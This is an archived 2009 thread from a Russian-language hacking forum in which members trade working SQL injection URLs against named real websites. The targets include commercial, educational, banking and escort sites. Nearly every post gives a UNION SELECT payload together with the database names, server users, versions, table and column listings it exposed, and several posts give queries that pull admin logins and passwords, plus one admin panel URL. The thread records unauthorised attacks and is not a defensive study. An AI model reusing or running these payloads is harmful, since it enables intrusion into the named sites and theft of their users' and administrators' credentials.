ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

06.12.2009, 19:19
|
|
Участник форума
Регистрация: 25.06.2006
Сообщений: 220
Провел на форуме: 2052669
Репутация:
178
|
|
http://www.coyc.ru/sauce.php?sid=-6+union+select+1,2,3,database()--
http://www.coyc.ru/sauce.php?sid=-1+UNION+SELECT+1,2,3,group_concat(table_name)+FROM +information_schema.tables+WHERE+table_schema=0x75 37363638395F636F7963--
accounts 0x6163636F756E7473
domains
forum_forums
forum_mailer
forum_messages
forum_sessions
indexes
sauces
types
users 0x7573657273
http://www.coyc.ru/sauce.php?sid=-1+UNION+SELECT+1,2,3,group_concat(column_name)+FRO M+information_schema.columns+WHERE+table_schema=0x 7537363638395F636F7963+AND+table_name=0x6163636F75 6E7473--
login,passw,id,nick,email,foto,path,data_reg,hash, enable,podp
http://www.coyc.ru/sauce.php?sid=-1+UNION+SELECT+1,2,3,group_concat(column_name)+FRO M+information_schema.columns+WHERE+table_schema=0x 7537363638395F636F7963+AND+table_name=0x7573657273--
uid,login,pass,name,surname,email,is_publish,url,b irthday,city,info,ulevel
Последний раз редактировалось jokester; 06.12.2009 в 20:24..
Причина: акки
|
|
|

06.12.2009, 21:48
|
|
Новичок
Регистрация: 16.09.2007
Сообщений: 25
Провел на форуме: 120760
Репутация:
62
|
|
sweb, постом
Код:
http://www.tests-tests.com/bio.php?question=0234232653314114344433&qcur=4&qnum=-1 union select version()/*
|
|
|

07.12.2009, 20:23
|
|
Участник форума
Регистрация: 15.05.2009
Сообщений: 111
Провел на форуме: 1179199
Репутация:
127
|
|
http://www.tayloralden.com/news.php?id=-13+union+select+1,group_concat(table_name),3,4,5,6 ,7,8+from+information_schema.tables--
http://www.almaz-antey.ru/news.php?id=-13+union+select+1,2,group_concat(table_name),4,5,6 ,7,8,9,10,11,12+from+information_schema.tables--
Последний раз редактировалось Bramin; 07.12.2009 в 21:05..
|
|
|

07.12.2009, 21:11
|
|
Участник форума
Регистрация: 28.11.2008
Сообщений: 281
Провел на форуме: 3193846
Репутация:
242
|
|
http://docksr.us/en/nieuws.php?id=56+and+0+union+select+1,2,id,login,p assword,6,7,8+from+users+--+
|
|
|

08.12.2009, 01:05
|
|
Участник форума
Регистрация: 10.06.2008
Сообщений: 201
Провел на форуме: 1174919
Репутация:
229
|
|
bpbux.info
Код:
http://bpbux.info/forum/main_forum.php?cat=-1+Union+ALL+Select+1,concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29,3,4,5,6,7--
Код:
5.0.32-Debian_7etch5~bpo31+1-log:jbarros_gen5@supremecenter103.com:jbarros_gen5
woobux.com
Код:
http://www.woobux.com/forum/main_forum.php?cat=-1+Union+ALL+Select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7--
Код:
5.0.85-community:woobuxco_ptc@localhost:woobuxco_ptc
|
|
|

08.12.2009, 02:49
|
|
Новичок
Регистрация: 26.11.2009
Сообщений: 20
Провел на форуме: 88440
Репутация:
60
|
|
-1-
target : http://www.stanadyne.com
Exploit: http://www.stanadyne.com/view.php?id=111+AND+1=2+UNION+SELECT+0,1,2,null,4, 5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
Database : stacms
User : stacms@97.74.24.95
Version : 5.0.67.d7-ourdelta-log
Contain :[0]SSI_Customers: CustomerID,CustomerName,Abbriv
[1]SSI_GroupParts: ID,Group,PartNo,Quantity,X,Y,OnLine,IndentFlag,Col or
[2]SSI_GroupTypes: ID,Description
[3]SSI_Groups: ID,GroupID,PartNo,Quantity,X,Y,Indent,Note,GroupTy pe
[4]SSI_MasterPart: ID,PartNo,Description,Superceded
[5]SSI_Model: ID,Model,StanadynePN,CustomerID,CustomerPN,Engine, Application,Edition,ECN,Dated,Reman
[6]SSI_Model1: Model,StanadynePN,CustomerID,CustomerPN,Engine,App lication,Edition,ECN,Dated,Reman
[7]SSI_ModelAssemblys: ID,Model,Assembly
[8]SSI_ModelEditions: ID,Model,Edition,ECN,EditionDate
[9]SSI_ModelGroups: ID,Model,Group,Page,Position,GroupType
[10]SSI_Parts: PartNo,Description,Notes,Superseded,SA,PartNoDesc, AssemblyNo
[11]SSI_Parts1: PartNo,Description,Notes,Superseded
[12]SSI_RawServLit: ID,Type,Literature,Revision,SUBJECT,CUSTOMER,Model
[13]SSI_RawSubject: SUBJECT,RELATED,RELATED,RELATED
[14]SSI_RawXref: Model,Service,Parts,Service
[15]SSI_ServiceAssemblys: Assembly,Description
[16]SSI_SupersededParts: RecordID,PartNo,SupersededBy
.......
Example:
http://www.stanadyne.com/view.php?id=111+AND+1=2+UNION+SELECT+0,1,2,Custome rName,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 +from+SSI_Customers--
-2-
target : http://www.thedinah.com
Exploit: http://www.thedinah.com/votes/vote.php?id=7+AND+1=2+UNION+SELECT+0,null,2,3,4--
Database : thedi36_thedinah
User : thedi36_mariahus@localhost
Version : 5.0.81-community
Contain :[0]td_adcontainer: ncontainerid,sname,sgroup,ssubgroup
[1]td_admin: slogin,spwd,ssmtpserver,ssmtpuserid,ssmtppwd,sfrom emailid,bapprovecomments,simagebordercolor,simageb orderwidth,svideobgcolor,bhidepreviewinbrowsemedia ,sbackgroundcolor,sbackgroundimage,busebackgroundi mage
[2]td_ads: nadid,simageurl,slinkurl,nmaximpressions,ncurrimpr essions,dcreatedon,nclicks,nwidth,nheight,nadconta iner,salternatetext,sscript
[3]td_album: nalbumid,sname,dcreated
[4]td_article: narticleid,nsectionid,dcreated,dmodified,dpublishe d,ncreatedby,nmodifiedby,stitle,ssummary,sbody,bal lowcomments,bapproveforpub,ballowrss,nweight,nview s,barchive,skeywords,nthumbnail,nheadingthumbnail
[5]td_articleads: nlinkid,narticleid,nadid,nposition
[6]td_articlemedia: nlinkid,narticleid,nmediaid,nposition
[7]td_comment: ncommentid,narticleid,nuserid,dpostedon,sbody,snam e,bapproved,napprovedby
[8]td_editors: neditorid,spwd,ddate,sname,bdisabled,simagefile,ba ddtolist,suserid,bownarticles,botherarticles,bownp ublish,botherpublish,bownedit,botheredit,bownmedia ,bothermedia,badmanager,bcategories,bowncomments,b othercomments,bhomepage,semail,bsignups,sinfo,bpho toalbum,nsort
[9]td_homepage: nthumbheight,nthumbwidth,nthumbwhatsupheight,nthum bwhatsupwidth,nrecentnewsitems,nwhatsuparticle,nla testmembers,nlatestblogs,nlatestvlogs,smainbtn1tex t,smainbtn2text,smainbtn3text,smainbtn4text,smainb tn5text,smainbtn1link,smainbtn2link,smainbtn3link, smainbtn5link,smainbtn4link,nrecentnewscat,swhatsu ptitle,srecentnewstitle,srecentblogstitle,sleftbar graphic,nhomepagearticle
[10]td_media: nmediaid,ntype,sfilename,scaption,skeywords,nwidth ,nheight,dcreatedon,naddedby,sthumbnail
[11]td_menu: nentryid,nsequence,nlevel,stext,surl,nparentid,nch ild
[12]td_pgroup: ngroupid,nalbumid,dcreated,sname
[13]td_photo: nphotoid,scaption,dcreated,sby,ngroupid,sfilename
[14]td_poll: npollid,bactive,squestion,soption1,soption2,soptio n3,soption4,soption5,nvotes1,nvotes2,nvotes3,nvote s4,nvotes5
[15]td_section: nsectionid,nparentsection,sname,sdescription
[16]td_subscribe: nid,semailid,ddate,bremove
[17]td_user: nuserid,susername,suserpwd,sfullname,semail,dsignu p,sactivationkey,spwdrecoverykey,bdisabled,simagef ile,slocation,scity,scountry
[18]td_vote: nvoteid,stitle,smatter,dcreated,nclosed
[19]td_votev: nlinkid,nvoteid,nmediaid,nvotes,nposition
[20]td_voting: nvoteid,nmemberid,dvote,nmediaid
Example:
http://www.thedinah.com/votes/vote.php?id=7+AND+1=2+UNION+SELECT+0,concat(slogin ,0x3a,spwd),2,3,4+from+td_admin--
-3-
target : http://eco.creditbank.co.kr/
Exploit: http://eco.creditbank.co.kr/dir.php?id=44+AND+1=2+UNION+SELECT+0,1,2,3,null,5, 6,7,8,9,10--
Databases :User : eco@203.234.219.196
Version : 5.0.51b
Contain (eco) :[0]zase_bbs_incruit_article: no,site_no,site_name,title,content,url,written,che cksum_no,indexed,regdate
[1]zase_bbs_incruit_checksum: no,prefix,suffix
[2]zase_bbs_notice_article: no,site_no,site_name,title,content,url,written,che cksum_no,indexed,regdate
[3]zase_bbs_notice_checksum: no,prefix,suffix
[4]zase_company_basic: no,bookcode_code1,bookcode_upchecd,bookcode_upjo_k ey,bookcode_upjo_name,bookcode_upname,bookcode_eng _name,sang1_homepage,sang1_addr_kor,sang1_tel,sang 1_intro,sang2_estab_date,sang2_list_date,sang2_old _upche,sang2_employee_low,sang2_rptv_kor,sang3_juj u_name1,sang3_juju_name2,sang3_juju_name3,sang3_sa le_name1,sang3_sale_name2,sang3_sale_name3,sang3_c urr_sale1,sang3_curr_sale2,sang3_curr_sale3,sang3_ profit_name1,sang3_profit_name2,sang3_profit_name3 ,sang3_profit_name4,sang3_curr_profit1,sang3_curr_ profit2,sang3_curr_profit3,sang3_curr_profit4,sang 3_export_ratio,sang2_inspect_corp,sang25_normal_st ,sang25_first_st,sang25_foreign,sang1_face_value,s ang2_fs_month,sang1_market_seg,regdate
[5]zase_company_eva_new: stockcd,year1,year2,year3,year4,noplat1,noplat2,no plat3,noplat4,ic1,ic2,ic3,ic4,roic1,roic2,roic3,ro ic4,wacc1,wacc2,wacc3,wacc4,eva1,eva2,eva3,eva4
[6]zase_company_sang04: stockcd,s0,s1,s2,s3,s4,s5_0,s5,s6,s7,s8,s9_0,s9,s1 0,s11,s12,s13_0,s13,s14,s15,s16,s49_0,s49,s50,s51, s52,s17_0,s17,s18,s19,s20,s29_0,s29,s30,s31,s32,s3 3_0,s33,s34,s35,s36,s57_0,s57,s58,s59,s60,s61_0,s6 1,s62,s63,s64,s45_0,s45,s46,s47,s48,s53_0,s53,s54, s55,s56
[7]zase_company_sang05: stockcd,bs1,bs2,bs3,bs4,bs5,bs6,bs7,bs8,bs9,bs10,b s11,bs12,bs13,bs14,bs15,bs16,bs17,bs18,bs19,bs20,b s21,bs22,bs23,bs24,bs25,bs26,bs27,bs28,bs29,bs30,b s31,bs32,bs33,bs34,bs35,bs36,bs37,bs38,bs39,bs40,b s41,bs42,bs43,bs44,bs45,bs46,bs47,bs48,bs49,bs50,b s51,bs52,bs53,bs54,bs55
[8]zase_company_sang06: stockcd,pl1,pl2,pl3,pl4,pl5,pl6,pl7,pl8,pl9,pl10,p l11,pl12,pl13,pl14,pl15,pl16,pl17,pl18,pl19,pl20,p l21,pl22,pl23,pl24,pl25,pl26,pl27,pl28,pl29,pl30,p l31,pl32,pl33,pl34,pl35,pl36,pl37,pl38,pl39,pl40,p l41,pl42,pl43,pl44,pl45,pl46,pl47,pl48,pl49,pl50,p l51,pl52,pl53,pl54,pl55,pl56,pl57,pl58,pl59,pl60,p l61,pl62,pl63,pl64,pl65,pl66,pl67,pl68,pl69,pl70,p l71,pl72,pl73,pl74,pl75,pl76,pl77,pl78,pl79,pl80
[9]zase_company_sang07: stockcd,rt1,rt2,rt3,rt4,rt5,rt6,rt7,rt8,rt9,rt10,r t11,rt12,rt13,rt14,rt15,rt16,rt17,rt18,rt19,rt20,r t21,rt22,rt23,rt24,rt25,rt26,rt27,rt28,rt29,rt30,r t31,rt32,rt33,rt34,rt35,rt36
[10]zase_company_sang28: stockcd,sale_incre1,sale_incre2,roe1,roe2,rt1,rt2, eps1,eps2
[11]zase_company_sang37_beta: stockcd,date1,date2,beta11,beta12,beta13,vola11,vo la12,vola13,beta21,beta22,beta23,vola21,vola22,vol a23
[12]zase_company_sang401: stockcd,title,wongo10,wongo20,wongo30
[13]zase_company_sang402: stockcd,title,wongo1,wongo2,wongo3
[14]zase_company_temp: no,bookcode_code1,bookcode_upname,sang1_homepage,o noff,regdate
[15]zase_company_tmp_basic: no,bookcode_code1,bookcode_upchecd,bookcode_upjo_k ey,bookcode_upjo_name,bookcode_upname,bookcode_eng _name,sang1_homepage,sang1_addr_kor,sang1_tel,sang 1_intro,sang2_estab_date,sang2_list_date,sang2_old _upche,sang2_employee_low,sang2_rptv_kor,sang3_juj u_name1,sang3_juju_name2,sang3_juju_name3,sang3_sa le_name1,sang3_sale_name2,sang3_sale_name3,sang3_c urr_sale1,sang3_curr_sale2,sang3_curr_sale3,sang3_ profit_name1,sang3_profit_name2,sang3_profit_name3 ,sang3_profit_name4,sang3_curr_profit1,sang3_curr_ profit2,sang3_curr_profit3,sang3_curr_profit4,sang 3_export_ratio,sang2_inspect_corp,sang25_normal_st ,sang25_first_st,sang25_foreign,sang1_face_value,s ang2_fs_month,sang1_market_seg,regdate
[16]zase_company_tmp_eva_new: stockcd,year1,year2,year3,year4,noplat1,noplat2,no plat3,noplat4,ic1,ic2,ic3,ic4,roic1,roic2,roic3,ro ic4,wacc1,wacc2,wacc3,wacc4,eva1,eva2,eva3,eva4
[17]zase_company_tmp_sang04: stockcd,s0,s1,s2,s3,s4,s5_0,s5,s6,s7,s8,s9_0,s9,s1 0,s11,s12,s13_0,s13,s14,s15,s16,s49_0,s49,s50,s51, s52,s17_0,s17,s18,s19,s20,s29_0,s29,s30,s31,s32,s3 3_0,s33,s34,s35,s36,s57_0,s57,s58,s59,s60,s61_0,s6 1,s62,s63,s64,s45_0,s45,s46,s47,s48,s53_0,s53,s54, s55,s56
[18]zase_company_tmp_sang05: stockcd,bs1,bs2,bs3,bs4,bs5,bs6,bs7,bs8,bs9,bs10,b s11,bs12,bs13,bs14,bs15,bs16,bs17,bs18,bs19,bs20,b s21,bs22,bs23,bs24,bs25
Contain (mysql) :[0]columns_priv: Host,Db,User,Table_name,Column_name,Timestamp,Colu mn_priv
[1]db: Host,Db,User,Select_priv,Insert_priv,Update_priv,D elete_priv,Create_priv,Drop_priv,Grant_priv,Refere nces_priv,Index_priv,Alter_priv,Create_tmp_table_p riv,Lock_tables_priv,Create_view_priv,Show_view_pr iv,Create_routine_priv,Alter_routine_priv,Execute_ priv
[2]func: name,ret,dl,type
[3]help_category: help_category_id,name,parent_category_id,url
[4]help_keyword: help_keyword_id,name
[5]help_relation: help_topic_id,help_keyword_id
[6]help_topic: help_topic_id,name,help_category_id,description,ex ample,url
[7]db: Host,Db,User,Select_priv,Insert_priv,Update_priv,D elete_priv,Create_priv,Drop_priv,Grant_priv,Refere nces_priv,Index_priv,Alter_priv,Create_tmp_table_p riv,Lock_tables_priv,Create_view_priv,Show_view_pr iv,Create_routine_priv,Alter_routine_priv,Execute_ priv
[8]func: name,ret,dl,type
[9]help_category: help_category_id,name,parent_category_id,url
[10]help_keyword: help_keyword_id,name
[11]help_relation: help_topic_id,help_keyword_id
[12]help_topic: help_topic_id,name,help_category_id,description,ex ample,url
[13]host: Host,Db,Select_priv,Insert_priv,Update_priv,Delete _priv,Create_priv,Drop_priv,Grant_priv,References_ priv,Index_priv,Alter_priv,Create_tmp_table_priv,L ock_tables_priv,Create_view_priv,Show_view_priv,Cr eate_routine_priv
Example:
http://www.hemasolutions.com/query.php?id=13+AND+1=2+UNION+SELECT+0,concat(user s_name,0x3a,users_pass),2,3,4,5,6,7,8,9+from+hemas ol_hema.users--
|
|
|

08.12.2009, 22:41
|
|
Участник форума
Регистрация: 30.10.2009
Сообщений: 103
Провел на форуме: 736224
Репутация:
388
|
|
edu
http://construct.edu.ru/news.php?id=-56+union+select+1,2,group_concat(0x0b,column_name) ,4,5,6,7,8+from+information_schema.columns+where+t able_name=0x6262665f7573657273
(phpBB) bbf_users:: id,username,user_password
http://construct.edu.ru/news.php?id=-56+union+select+1,2,concat_ws(0x3a,user_id,0x3a,us ername,0x3a,user_password),4,5,6,7,8+from+bbf_user s+limit+1,1
Administrator
логинилка в форумах
MySQL 5.1.39-log
|
|
|

09.12.2009, 05:14
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
http://www.med-tech.com.ua/index.php?mod=mobfirms&id=9999+union+select+1,2,3, 4,5,6,7,8,9,10,11,12,13,14,concat_ws(0x3a,version( ),database(),user()),16,17,18,19,20--+
версия БД:4.0.13:
БД:user_medtech2:
пользователь:medtech2@localhost
http://www.pilot-film.com/index.php?p=show_person&pid=8831+union+select+1,2, concat_ws(0x3a,convert(version()+using+cp1251),con vert(user()+using+cp1251),convert(database()+using +cp1251),convert(@@version_compile_os+using+cp1251 )),4,5,6,7,8,9,10--+
версия:4.1.18-log
пользователь ilot@localhost
БД ilot
ОС ortbld-freebsd6.1
http://slideshow.com.ua/ru/view.php?id=-000963+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a ,version(),database(),user(),@@version_compile_os)--+
версия:5.0.87-community-log
БД:slidesho_slideshow
пользователь:slidesho@localhost
ОС:unknown-linux-gnu
http://slideshow.com.ua/ru/view.php?id=-000963+union+select+1,2,3,4,5,6,7,8,group_concat(u nhex(hex(TABLE_NAME))%20separator%200x40)FROM%20in formation_schema.TABLES+WHERE%20TABLE_SCHEMA=0x736 c69646573686f5f736c69646573686f77--+
gallery@slideshow
------------------------------>
http://www.steelprom.com/articleview.php?id=-62+union+select+1,2,3,4,5,6,concat_ws(0x3a,version (),database(),user(),@@version_compile_os),8,9,10--+
версия:5.0.22
БД:urka200022_steel
пользователь:son3@localhost
ОС:redhat-linux-gnu
DB:
Код:
information_schema@test_del@urka200022_stee
tables:
Код:
aallcontr@aallservices@aanekdots@aboard@acontract@adish@adistr@aevents@afiles@ajob@akitchen@amenukindname@anews@article@aservices@astatistuser@atypuser@auserdishtype@ausers@avisitors@avoting@board@board2@category@communication@du_client@du_filedl@du_forumb@du_forumt@du_news@du_passw@du_sendpost@du_usprog@favcatnews@favcatprod@favprod@files@login@news@newsgroup@product@searchplacelist@searchword@searchwplace@stoplist@tablelist@testtable@topic@users@webclient
атрибуты webclient:
Код:
id@user_id@dt_zakaz@diam@sten@mar_st@zakazano@srok_post@otgruzh@vagon@dt_vagon@sklad_nik@sklad_st@dt_prokat@typ@is_close@dt_close
атрибуты users:
Код:
d@login@passwd@name@first_name@typ@is_locked@e_mail@phone@fax@dt_created@dt_locked@sms@txt@handy@communication_id@country
атрибуты ausers:
Код:
id@login@passwd@name@name_boss@name_man@typ_id@kitchen_id@timework@logo_id@adress@extadress@phone@e_mail@http@distr_id@map_id@descr@viewfoto@namefoto@sizefoto@foto_size_y@discount@is_locked
атрибуты login:
Код:
d_login@login@password@status
атрибуты du_passw:
Код:
id@iduser@identkod@sdate
атрибуты du_client:
Код:
id@login@passw@email@lico@firma@licenz@prg_c@prg_v@prg_z
http://www.steelprom.com/articleview.php?id=-62+union+select+1,'2',3,4,5,6,GROUP_CONCAT(concat_ ws(0x3a,login,password,status)%20separator%200x32) %20,8,9,10+FROM+login--+
http://www.steelprom.com/articleview.php?id=-62+union+select+1,'2',3,4,5,6,group_concat(unhex(h ex(login))%20separator%200x40),8,9,10+FROM+ausers--+
http://www.steelprom.com/articleview.php?id=-62+union+select+1,'2',3,4,5,6,group_concat(concat_ ws(0x3a,unhex(hex(login)),unhex(hex(passwd)),unhex (hex(phone)),unhex(hex(e_mail)))%20separator%200x4 0),8,9,10+FROM+users--+
PostgreSQL
http://odessa-vecher.com/restaurantse.php?id=-19+union+select+null,null,null,version(),current_u ser(),null,null,null,null,null,null,null,null,null ,null,null,null,null,null,null,null,null,null,null ,null,null,null,null,null,null,null,null,null,null ,null--+&action=view
version:5.0.81-community-log
user dessave_boltik@localhost
http://www.arsenal.com.ua/news.php?id=138+union+select+concat_ws(0x3a,versio n(),database(),user(),@@version_compile_os),2,3,4, 5,6,7--+
версия:4.1.22-log
БД:arsenalu
пользователь:u_arsenalu@localhost
ОС c-linux-gnu
http://www.lcci.com.ua/opennews.php?id=-339+union%20+select+1,concat_ws(0x3a,version(),dat abase(),user(),@@version_compile_os),3/*
версия:4.1.22-log
БД:lcci
пользователь:lcci@localhost
ОС:unknown-freebsd6.2
Последний раз редактировалось Strilo4ka; 10.12.2009 в 15:50..
|
|
|

10.12.2009, 17:16
|
|
Новичок
Регистрация: 26.11.2009
Сообщений: 20
Провел на форуме: 88440
Репутация:
60
|
|
-1-
Target : http://www.freestyleagency.eu
Exploit:http://www.freestyleagency.eu/model-mail.php?type=Video&id=97+AND+1=2+UNION+SELECT+0,n ull,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19, 20,21,22,23--
Database : freestyl_freestyle
User : freestyl_agency@localhost
Version : 5.0.85-community-log
Contain :[0]admin: IdAdmin,UserAdmin,PassAdmin,EmailAdmin,StatusAdmin
[1]models: model_id,first_name,last_name,height,bust_chest,cu p_size,waist,hips,eye_color,hair_colour,hair_lengt h,shoe_size,size,text,card_big,card_s1,card_s2,car d_s3,card_s4,type_id,status,count,date_added,last_ modified
[2]news: news_id,title,content,status,date_added,last_modif ied
[3]type: type_id,type
Example:
http://www.freestyleagency.eu/model-mail.php?type=Video&id=97+AND+1=2+UNION+SELECT+0,c oncat_ws(0x3a,UserAdmin,PassAdmin),2,3,4,5,6,7,8,9 ,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+ad min--
-2-
Target : http://www.web0668.net
Exploit:http://www.web0668.net/url.php?id=149+AND+1=2+UNION+SELECT+0,null,2--
Database : sq_web0668
User : sq_web0668@125.65.112.47
Version : 5.0.45-community-nt-log
Contain :[0]web_ad: ad_id,ad_size,ad_name,ad_time,ad_url,ad_img
[1]web_admin: admin_id,admin_name,admin_password,admin_type
[2]web_cate: cate_id,cate_name,cate_cate,cate_asc
[3]web_file: file_id,file_about,file_cooperrtion,file_ad
[4]web_hot: hot_id,hot_cate,hot_name,hot_url,hot_img,hot_bz,ho t_views,hot_time
[5]web_links: link_id,link_name,link_color,link_abc,link_url,lin k_img,link_views,link_cate,link_back,link_bz,link_ time,link_type,link_disp
[6]web_mess: ms_id,ms_title,ms_content,ms_user,ms_time,ms_backt ime,ms_views,ms_type,ms_cate
[7]web_ncate: ncate_id,ncate_name,ncate_cate,ncate_asc
[8]web_new: new_id,new_name,new_url,new_views,new_time
[9]web_pl: pl_id,pl_name,pl_content,pl_class,pl_time
[10]web_rank: rank_id,rank_name,rank_url,rank_views,rank_time
[11]web_sys: sys_id,sys_webname,sys_username,sys_tel,sys_fax,sy s_qq,sys_email,sys_address,sys_copyright,sys_websi te,sys_icp
[12]web_txtad: adtxt_id,adtxt_name,adtxt_time,adtxt_url
Example:
http://www.web0668.net/url.php?id=149+AND+1=2+UNION+SELECT+0,concat_ws(0x 3a,admin_name,admin_password),2+from+web_admin--
-3-
Target : http://www.somethingyoushouldread.com
Exploit:http://www.somethingyoushouldread.com/mail/mail.php?id=159+AND+1=2+UNION+SELECT+null,1--
Database : benberkon
User : benberkon@97.74.144.144
Version : 4.1.22-max-log
Contain :[0]admin: id,name,pass
...
Example:
http://www.somethingyoushouldread.com/mail/mail.php?id=159+and+1=2+union+select+concat_ws(0x3 a,name,pass),1+from+admin--
AdminPanel:
http://somethingyoushouldread.com/upload/login/login.php
|
|
|

11.12.2009, 00:36
|
|
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
Провел на форуме: 961428
Репутация:
662
|
|
Код:
http://karendodsonmurals.com/girls.php?id=-51+union+select+1,2,table_name,4,5,6+from+information_schema.tables+--+&pic=0
Код:
http://www.honeyzescorts.co.uk/girls.php?id=6+union+select+1,2,3,4,5,6,7,8,9,10,11,12+--+
Код:
http://www.sportsbikes.org/girls.php?Blonde%20babe%20in%20lingerie%20with%20suzuki&id=-8+union+select+1,2,3,concat_ws(0x3a3a,username,password,email),5,6,7,8,9+from+members+where+type=0x61646D696E+/*+
Код:
http://www.carbabewallpapers.com/view.php?id=-79+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14+from+information_schema.tables+/*+
Код:
http://www.video-spezial.de/start-girls.php?id=-26+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from+user+--+
Код:
http://www.janinescort.com/girls.php?lang=en&id=-11+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+/*+
Код:
http://www.jessys-girls.ch/girls.php?cmd=show&id=-18+union+select+1,unhex(hex(table_name)),3+from+information_schema.tables+--+
Последний раз редактировалось DezMond™; 11.12.2009 в 00:47..
|
|
|
|
 |
|
|
Здесь присутствуют: 9 (пользователей: 0 , гостей: 9)
|
|
|
|